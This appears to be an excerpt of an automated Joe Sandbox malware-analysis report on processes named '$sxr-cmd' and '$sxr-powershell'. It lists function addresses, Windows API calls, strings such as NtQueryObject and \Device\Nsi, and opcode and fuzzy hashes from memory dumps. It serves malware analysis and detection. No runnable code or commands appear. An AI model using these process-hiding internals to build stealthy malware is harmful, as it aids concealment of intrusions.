Uniqueness Score: -1.00%

Function 00007FF7137E3BE4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72COMMON

Download Yara Rule

APIs

_wcsnicmp.MSVCRT ref: 00007FF7137E3C85

Strings

/-Y, xrefs: 00007FF71380184D

Memory Dump Source

Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID: _wcsnicmp
String ID: /-Y
API String ID: 1886669725-4274875248
Opcode ID: 772bd3782c46842c372c8b89a915565f11f80ecece3792b3c4e3ce842e7c51e5
Instruction ID: a4ff5315de984a308d83d7a0f11df5ce07f22c725fa14030701758a880839cec
Opcode Fuzzy Hash: 772bd3782c46842c372c8b89a915565f11f80ecece3792b3c4e3ce842e7c51e5
Instruction Fuzzy Hash: FA217166B08B6585FB90AB069484178F6E1BB48FE0F844131DE88377A4DE3DE49AD320

Uniqueness

Uniqueness Score: -1.00%

Function 000002155A5BD760 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 50COMMON

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 000002155A5BD799
LCMapStringW.KERNEL32 ref: 000002155A5BD821

Strings

LCMapStringEx, xrefs: 000002155A5BD77C, 000002155A5BD78D

Memory Dump Source

Source File: 0000000D.00000002.3356177437.000002155A5B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002155A5B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2155a5b0000_$sxr-cmd.jbxd

Similarity

API ID: Stringtry_get_function
String ID: LCMapStringEx
API String ID: 2588686239-3893581201
Opcode ID: 1fa9275d433daf0b6716fc06567d784d1258d0ff6276e676772a611a04aaaae8
Instruction ID: cf1b401c50bb954322ce52191aa9d4d6face2bd4a6695e9a50dad3f9eb3ae4b5
Opcode Fuzzy Hash: 1fa9275d433daf0b6716fc06567d784d1258d0ff6276e676772a611a04aaaae8
Instruction Fuzzy Hash: 9D112736608B90D6EB60CB06F444B9AB7A1F7D9B94F944126FE8E83B19CF38C4448B40

Uniqueness

Uniqueness Score: -1.00%

Function 000002155A5B9544 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.NTDLL ref: 000002155A5B9588
RaiseException.KERNEL32 ref: 000002155A5B95CE

Strings

csm, xrefs: 000002155A5B95BB

Memory Dump Source

Source File: 0000000D.00000002.3356177437.000002155A5B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002155A5B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2155a5b0000_$sxr-cmd.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 4e7fa5f10fb8cdd189fffd301e3fa9d361a0630010e37bb7f0a8f0acf9fdffb8
Instruction ID: cbd19f21f2eb2a836f97a28860ed2d3f289efaa0650a263032afe03aec52d7de
Opcode Fuzzy Hash: 4e7fa5f10fb8cdd189fffd301e3fa9d361a0630010e37bb7f0a8f0acf9fdffb8
Instruction Fuzzy Hash: 43116D32214B54D2EF108B25F444699B7E6FBE8B98F584260EF8D077A8DF39C455C700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7137EB62C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 38COMMON

Download Yara Rule

Strings

3, xrefs: 00007FF7137EB685
3, xrefs: 00007FF7137EB64D

Memory Dump Source

Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID:
String ID: 3$3
API String ID: 0-2538865259
Opcode ID: b8f86acd81ff1c6da407d28336be8d8a1ddaaa1636690dcce93971c28c339212
Instruction ID: a1d4ae5e424480fe777dde601b0f98f35c6c1d68da56bcc8342f330b37f177df
Opcode Fuzzy Hash: b8f86acd81ff1c6da407d28336be8d8a1ddaaa1636690dcce93971c28c339212
Instruction Fuzzy Hash: 660112B190E982CAF794AB65A8C5674EA60BB58331FE40635C40F215A1CE3E64ADC671

Uniqueness

Uniqueness Score: -1.00%

Function 000002155A5BD6FC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 25COMMON

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 000002155A5BD72D
InitializeCriticalSectionAndSpinCount.KERNEL32 ref: 000002155A5BD747

Strings

InitializeCriticalSectionEx, xrefs: 000002155A5BD721

Memory Dump Source

Source File: 0000000D.00000002.3356177437.000002155A5B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002155A5B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2155a5b0000_$sxr-cmd.jbxd

Similarity

API ID: CountCriticalInitializeSectionSpintry_get_function
String ID: InitializeCriticalSectionEx
API String ID: 539475747-3084827643
Opcode ID: d3308de59f6175e246a4e58d0bead6ac7e88a58d51302341d1d8d46ecdfbdf17
Instruction ID: 889d794c6211ed9e91ca4ed19899eff68e14e220b7ae6a272dc37c55464e69d9
Opcode Fuzzy Hash: d3308de59f6175e246a4e58d0bead6ac7e88a58d51302341d1d8d46ecdfbdf17
Instruction Fuzzy Hash: B2F0B436205F64E1FF065B41B458ED46272FBD8B94FC440A1BA1A03B58CF38C489C710

Uniqueness

Uniqueness Score: -1.00%

Function 000002155A5BD6A8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMONLIBRARYCODE

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 000002155A5BD6D1
TlsSetValue.KERNEL32 ref: 000002155A5BD6E8

Strings

FlsSetValue, xrefs: 000002155A5BD6BE

Memory Dump Source

Source File: 0000000D.00000002.3356177437.000002155A5B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002155A5B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2155a5b0000_$sxr-cmd.jbxd

Similarity

API ID: Valuetry_get_function
String ID: FlsSetValue
API String ID: 738293619-3750699315
Opcode ID: c57a0a8e4a9a5bd5c5ab42880a7d7ba481cf5cc2991d860fdde5879172b30074
Instruction ID: 1edb938eee0abe502b56b26512bf067a7cad471a07002fa073cbbe5c95b2e994
Opcode Fuzzy Hash: c57a0a8e4a9a5bd5c5ab42880a7d7ba481cf5cc2991d860fdde5879172b30074
Instruction Fuzzy Hash: B3E03072201E14F2FE055B55B85CED86233B7E8B89FD84066FA1A06259DF3CC45DC610

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7137F06C0 Relevance: 5.1, APIs: 4, Instructions: 97memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,00007FF7137EB4DB), ref: 00007FF7137F06D6
HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,00007FF7137EB4DB), ref: 00007FF7137F06F0
GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,00007FF7137EB4DB), ref: 00007FF7137F074D
HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,00007FF7137EB4DB), ref: 00007FF7137F0762

Memory Dump Source

Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: cb757f755a027b81a776796b91978963b45d8166734cf522aad66d61178eecf0
Instruction ID: 7ab4990203ef10dc7ef61f51961389030b82607b9129b8a1602feefaaaf1014c
Opcode Fuzzy Hash: cb757f755a027b81a776796b91978963b45d8166734cf522aad66d61178eecf0
Instruction Fuzzy Hash: 2E416D72A09A4286EB95AB10E480179F7A4FB49B60F948434D65E23754DF3DE45CCB70

Uniqueness

Uniqueness Score: -1.00%

Function 000002155A5B1D60 Relevance: 5.1, APIs: 4, Instructions: 65memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000002155A5B1D95
HeapAlloc.KERNEL32 ref: 000002155A5B1DA4
GetProcessHeap.KERNEL32 ref: 000002155A5B1E18
HeapFree.KERNEL32 ref: 000002155A5B1E26

Memory Dump Source

Source File: 0000000D.00000002.3356177437.000002155A5B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002155A5B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2155a5b0000_$sxr-cmd.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID:
API String ID: 756756679-0
Opcode ID: 286b6d01e01d60a9c7311f258349b816b5eba68e569a770be06b8a5557e1329f
Instruction ID: b2214b8c1a40b8ee7f2e91d4f4a8e7b35eb6d8a13a1a2d280d35a8888d4009e0
Opcode Fuzzy Hash: 286b6d01e01d60a9c7311f258349b816b5eba68e569a770be06b8a5557e1329f
Instruction Fuzzy Hash: 78219432205F94D5EF518F15E40869AF7E2FBD5B98F944010EF8D47724EB78C4468740

Uniqueness

Uniqueness Score: -1.00%

Function 000002155A5B1274 Relevance: 5.0, APIs: 4, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000002155A5B127A
HeapAlloc.KERNEL32 ref: 000002155A5B1289
GetProcessHeap.KERNEL32 ref: 000002155A5B12A3
HeapAlloc.KERNEL32 ref: 000002155A5B12B4

Memory Dump Source

Source File: 0000000D.00000002.3356177437.000002155A5B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002155A5B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2155a5b0000_$sxr-cmd.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: d4b3fcfbe4be7c36cb8b6f9944163e5fe9bb7a40ebadcfb6d552ceb49718e017
Instruction ID: 1ebe8c27ea250151e8dbcc7db2826ab0eb6e723f27adfb04884c8d90f34e9017
Opcode Fuzzy Hash: d4b3fcfbe4be7c36cb8b6f9944163e5fe9bb7a40ebadcfb6d552ceb49718e017
Instruction Fuzzy Hash: 6BE06571602A18EAFB048F62D81878976E2FBD9F15F89C014CA0907354DF7D84998740

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: $sxr-powershell.exePID: 5672, Parent PID: 6400COMMON

Execution Graph

Execution Coverage:	1.1%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	466
Total number of Limit Nodes:	6

Executed Functions

Function 00007FFD348A3A77 Relevance: .7, Instructions: 706
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000013.00000002.3441317376.00007FFD348A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ffd348a0000_$sxr-powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c31a05e9f541d9fa9a88d1c12d201bc0ad55dcb2b6afaa309031050444663c7d
Instruction ID: 1735be3fce64e5d5c8d6f9126e9c017455f82200a68dc7a5a6f9f1b69b5d70c2
Opcode Fuzzy Hash: c31a05e9f541d9fa9a88d1c12d201bc0ad55dcb2b6afaa309031050444663c7d
Instruction Fuzzy Hash: 7DE1F722B1EAD55FE362976C98F64E57BE0DF5336470801BBCA84CB093ED5C68069362

Uniqueness

Uniqueness Score: -1.00%

Function 000001F5FDC7D1D0 Relevance: 3.1, APIs: 2, Instructions: 74
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetEnvironmentStringsW.KERNEL32 ref: 000001F5FDC7D1E9
FreeEnvironmentStringsW.KERNEL32 ref: 000001F5FDC7D2AD

Memory Dump Source

Source File: 00000013.00000002.3431472807.000001F5FDC70000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001F5FDC70000, based on PE: true

Associated: 00000013.00000002.3431472807.000001F5FDC95000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1f5fdc70000_$sxr-powershell.jbxd

Similarity

API ID: EnvironmentStrings$Free
String ID:
API String ID: 3328510275-0
Opcode ID: bd5886a123fb30aceff93104e580cf9002bf450ac6e21f1a4886c8727fcf9fb4
Instruction ID: 5c0023575a1d0d4f6f4d3ec3a94e3c768e7433a94f1b2c972a9b70ea1a2decb6
Opcode Fuzzy Hash: bd5886a123fb30aceff93104e580cf9002bf450ac6e21f1a4886c8727fcf9fb4
Instruction Fuzzy Hash: 7221A531B14F52C1E7609F12A4102AAA7A6F784BD0F485774DFAA63BD8DF38C8538300

Uniqueness

Uniqueness Score: -1.00%

Function 000001F5FDC7DA1C Relevance: 3.1, APIs: 2, Instructions: 73
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetStdHandle.KERNEL32 ref: 000001F5FDC7DA95
GetFileType.KERNEL32 ref: 000001F5FDC7DAAB

Memory Dump Source

Source File: 00000013.00000002.3431472807.000001F5FDC70000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001F5FDC70000, based on PE: true

Associated: 00000013.00000002.3431472807.000001F5FDC95000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1f5fdc70000_$sxr-powershell.jbxd

Similarity

API ID: FileHandleType
String ID:
API String ID: 3000768030-0
Opcode ID: 886dffb09205d202da52528ad762ca177720b59a1f976d6d5f71bc5666910ac8
Instruction ID: e2a4adbf72c12da3b308920f20f41ba257a8e335aa4ec24e17f0939fbfd77b6f
Opcode Fuzzy Hash: 886dffb09205d202da52528ad762ca177720b59a1f976d6d5f71bc5666910ac8
Instruction Fuzzy Hash: A131C832A18F46D1EBA48F1595A02B92B52F345BB0F781BA9DB7A073E0CB35D463D341

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD348A4140 Relevance: 1.7, Strings: 1, Instructions: 413
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

_[_H, xrefs: 00007FFD348A42E3

Memory Dump Source

Source File: 00000013.00000002.3441317376.00007FFD348A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ffd348a0000_$sxr-powershell.jbxd

Similarity

API ID:
String ID: _[_H
API String ID: 0-2548533632
Opcode ID: 49dde3b9c252ab50716133ea58e670a6def3b01bcd91e0f1580a2a702fefbc20
Instruction ID: ad0159d3545f018f63c3e7a1b90527b8a0853f959b3d2c755717afeba1473a4f
Opcode Fuzzy Hash: 49dde3b9c252ab50716133ea58e670a6def3b01bcd91e0f1580a2a702fefbc20
Instruction Fuzzy Hash: 92C15E30A19A4D8FDF98DF5CC4A5AAD77E1FFA8704F144169D40DD7295CA78E881CB80

Uniqueness

Uniqueness Score: -1.00%

Function 000001F5FDC429A0 Relevance: 1.4, APIs: 1, Instructions: 186
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE ref: 000001F5FDC42A42

Memory Dump Source

Source File: 00000013.00000002.3430519783.000001F5FDC40000.00000040.00000400.00020000.00000000.sdmp, Offset: 000001F5FDC40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1f5fdc40000_$sxr-powershell.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: c08d5994cd16833e0b2f32063a698386d398f42b663dd23f5820244360bcf6f8
Instruction ID: 29571c6e35b65c0117ab10a0097ba91f26ed8a843f89d92ec64be9dc23485e4c
Opcode Fuzzy Hash: c08d5994cd16833e0b2f32063a698386d398f42b663dd23f5820244360bcf6f8
Instruction Fuzzy Hash: 50610C32701A528BEF68CF1994617B9F3A2FB46B94F548435DB2A07785DE39E853C700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD3497052A Relevance: 1.3, Strings: 1, Instructions: 50
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

H, xrefs: 00007FFD3497052A

Memory Dump Source

Source File: 00000013.00000002.3442529177.00007FFD34970000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ffd34970000_$sxr-powershell.jbxd

Similarity

API ID:
String ID: H
API String ID: 0-2852464175
Opcode ID: a868ede8817eeb6ba8fff1e189fcba9496f81420b31ad0451030141959d36ead
Instruction ID: 7c1807df5fe0910fc1707011ad18ca8eeefd30d889dd673304cf67aaa620f9b3
Opcode Fuzzy Hash: a868ede8817eeb6ba8fff1e189fcba9496f81420b31ad0451030141959d36ead
Instruction Fuzzy Hash: AF01F132F0E5854EE7A5DA2858A51B87BC1EF47304F4984BED64CC71C7DD2EAC0483A1

Uniqueness

Uniqueness Score: -1.00%

Function 000001F5FDC7B900 Relevance: 1.3, APIs: 1, Instructions: 36
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

HeapAlloc.KERNEL32 ref: 000001F5FDC7B955

Memory Dump Source

Source File: 00000013.00000002.3431472807.000001F5FDC70000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001F5FDC70000, based on PE: true

Associated: 00000013.00000002.3431472807.000001F5FDC95000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1f5fdc70000_$sxr-powershell.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: 99623a56c0c66f7076cff61b7992f2e54951593381f89bb610799b11ef7b8552
Instruction ID: 0acfe7b6cf2e418419896e7fac77b997b0b7ae8ba8cd35bdf28c1c540d7f70d0
Opcode Fuzzy Hash: 99623a56c0c66f7076cff61b7992f2e54951593381f89bb610799b11ef7b8552
Instruction Fuzzy Hash: D1F01D75701A1BC1FFD56B65D4713F552A76B49B84F0C5CB08B3A963D1ED2CC5438211

Uniqueness

Uniqueness Score: -1.00%

Function 000001F5FDC7B978 Relevance: 1.3, APIs: 1, Instructions: 14
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

HeapFree.KERNEL32 ref: 000001F5FDC7B98E

Memory Dump Source

Source File: 00000013.00000002.3431472807.000001F5FDC70000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001F5FDC70000, based on PE: true

Associated: 00000013.00000002.3431472807.000001F5FDC95000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1f5fdc70000_$sxr-powershell.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 7994f22efeca7fbf2ebf4fa9e0693c4504f092aa8c4df1e1e5e2e684e68eef88
Instruction ID: 730aea16fe9de993e8ff3a363cd058195016ae1d6fd4a9fe88393c39e706d668
Opcode Fuzzy Hash: 7994f22efeca7fbf2ebf4fa9e0693c4504f092aa8c4df1e1e5e2e684e68eef88
Instruction Fuzzy Hash: 37D01271B11C47C2FF98A7E3E8757F201676F95B85F4858B0DF3985251EA1444938640

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD348A2B85 Relevance: .1, Instructions: 83
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000013.00000002.3441317376.00007FFD348A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ffd348a0000_$sxr-powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0c8eb8843c4c5862470b4dc38798520c15323d5a746d06ee54a560d89635dbbf
Instruction ID: 0271b3ad7e50c666a008194bf5752dd12da9a24cdb4f26398d37c1f6bf5034b2
Opcode Fuzzy Hash: 0c8eb8843c4c5862470b4dc38798520c15323d5a746d06ee54a560d89635dbbf
Instruction Fuzzy Hash: 0311E91270EF894FDB96E67C94F43A53B90DFA621570800F7C549D72A2DD18DC078351

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD348A33A5 Relevance: .1, Instructions: 75
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000013.00000002.3441317376.00007FFD348A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ffd348a0000_$sxr-powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0e738db19cee2333fc284c30e206e715022da6faa4a3adbc625ad7bd6cf7db4f
Instruction ID: 74da37532352cbeea9d9f1660a99dc6042547fc3e74f3e8359d6f5d00c912e40
Opcode Fuzzy Hash: 0e738db19cee2333fc284c30e206e715022da6faa4a3adbc625ad7bd6cf7db4f
Instruction Fuzzy Hash: 5711D021B1EEC90FD796D77864B92A43BE0EF96200B4900FBC84CDB2A3CC58AC068351

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD348A33EC Relevance: .1, Instructions: 62
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000013.00000002.3441317376.00007FFD348A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ffd348a0000_$sxr-powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 65c128a2818c31a32dfddcbb3905b45c9b78113e969fb4e74556aee9218b2229
Instruction ID: de200f4eca8bf06790ff32871c6a856c468230a492039a5c4beec4890ff7ea32
Opcode Fuzzy Hash: 65c128a2818c31a32dfddcbb3905b45c9b78113e969fb4e74556aee9218b2229
Instruction Fuzzy Hash: 57012621B2EE8E0FDBD5E3AC50B827467D0EFA8315B4801BBC80DD3296CC68EC424380

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD34970293 Relevance: .0, Instructions: 47
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000013.00000002.3442529177.00007FFD34970000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ffd34970000_$sxr-powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 95d54f3add0f148de44f5628c7a69a191ea3baad5ff1da202b0074e51cf308e2
Instruction ID: 6617f09c602954040cafc3d0a384a80c9aec90f92da39788731912d8317f04a4
Opcode Fuzzy Hash: 95d54f3add0f148de44f5628c7a69a191ea3baad5ff1da202b0074e51cf308e2
Instruction Fuzzy Hash: 19F0D133F0E99A0FE7A592181CB91F86B81EF5A720B5900BED64DD7183DC09AC058395

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD348A3D68 Relevance: .0, Instructions: 39
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000013.00000002.3441317376.00007FFD348A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ffd348a0000_$sxr-powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 23dab133d60369e39cc8f2f524a89731ce62384872f4ecf44cab9d93a85f5f1c
Instruction ID: 7ae214c7a5991379c5b9bade55974d791a1f4a12bfcd825d08fa7c30f78a185f
Opcode Fuzzy Hash: 23dab133d60369e39cc8f2f524a89731ce62384872f4ecf44cab9d93a85f5f1c
Instruction Fuzzy Hash: 45F0373275C6048FDB5CAA5CF4529B573D1E795320B10016EE48BC3696E927F8428685

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 000001F5FDC72D78 Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 264stringlibraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32 ref: 000001F5FDC72E1C
lstrlenW.KERNEL32 ref: 000001F5FDC73056

Part of subcall function 000001F5FDC71A14: OpenProcess.KERNEL32 ref: 000001F5FDC71A3A
Part of subcall function 000001F5FDC71A14: K32GetModuleFileNameExW.KERNEL32 ref: 000001F5FDC71A58
Part of subcall function 000001F5FDC71A14: PathFindFileNameW.SHLWAPI ref: 000001F5FDC71A67
Part of subcall function 000001F5FDC71A14: lstrlenW.KERNEL32 ref: 000001F5FDC71A73
Part of subcall function 000001F5FDC71A14: StrCpyW.SHLWAPI ref: 000001F5FDC71A86
Part of subcall function 000001F5FDC71A14: CloseHandle.KERNEL32 ref: 000001F5FDC71A94

GetProcAddress.KERNEL32 ref: 000001F5FDC72E31

Part of subcall function 000001F5FDC71554: StrCmpIW.SHLWAPI ref: 000001F5FDC71585

Part of subcall function 000001F5FDC739D0: StrCmpNIW.SHLWAPI ref: 000001F5FDC739E8

StrCmpNIW.SHLWAPI ref: 000001F5FDC72E74
lstrlenW.KERNEL32 ref: 000001F5FDC72F9C

Strings

\Device\Nsi, xrefs: 000001F5FDC72E67
ntdll.dll, xrefs: 000001F5FDC72E15
NtQueryObject, xrefs: 000001F5FDC72E27

Memory Dump Source

Source File: 00000013.00000002.3431472807.000001F5FDC70000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001F5FDC70000, based on PE: true

Associated: 00000013.00000002.3431472807.000001F5FDC95000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1f5fdc70000_$sxr-powershell.jbxd

Similarity

API ID: lstrlen$FileHandleModuleName$AddressCloseFindOpenPathProcProcess
String ID: NtQueryObject$\Device\Nsi$ntdll.dll
API String ID: 2119608203-3850299575
Opcode ID: feab1d2498c9250a2661425e4b8a349dfcf4a1842f0d5ab31da7a7890f0a6070
Instruction ID: e3f21418bd5b77541e5d6d0a384a6c17b139c78df4a55d6b9b9a897ff846f1a3
Opcode Fuzzy Hash: feab1d2498c9250a2661425e4b8a349dfcf4a1842f0d5ab31da7a7890f0a6070
Instruction Fuzzy Hash: BCB19132210E92C2EB989F26D4607F9A3A6FB45B84F1458B6EF6953794DF35CD82C340

Uniqueness

Uniqueness Score: -1.00%

Function 000001F5FDC77F10 Relevance: 10.6, APIs: 7, Instructions: 72COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 000001F5FDC77F2C
RtlCaptureContext.NTDLL ref: 000001F5FDC77F59
RtlLookupFunctionEntry.NTDLL ref: 000001F5FDC77F73
RtlVirtualUnwind.NTDLL ref: 000001F5FDC77FB4
IsDebuggerPresent.KERNEL32 ref: 000001F5FDC78008
SetUnhandledExceptionFilter.KERNEL32 ref: 000001F5FDC78029
UnhandledExceptionFilter.KERNEL32 ref: 000001F5FDC78034

Memory Dump Source

Source File: 00000013.00000002.3431472807.000001F5FDC70000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001F5FDC70000, based on PE: true

Associated: 00000013.00000002.3431472807.000001F5FDC95000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

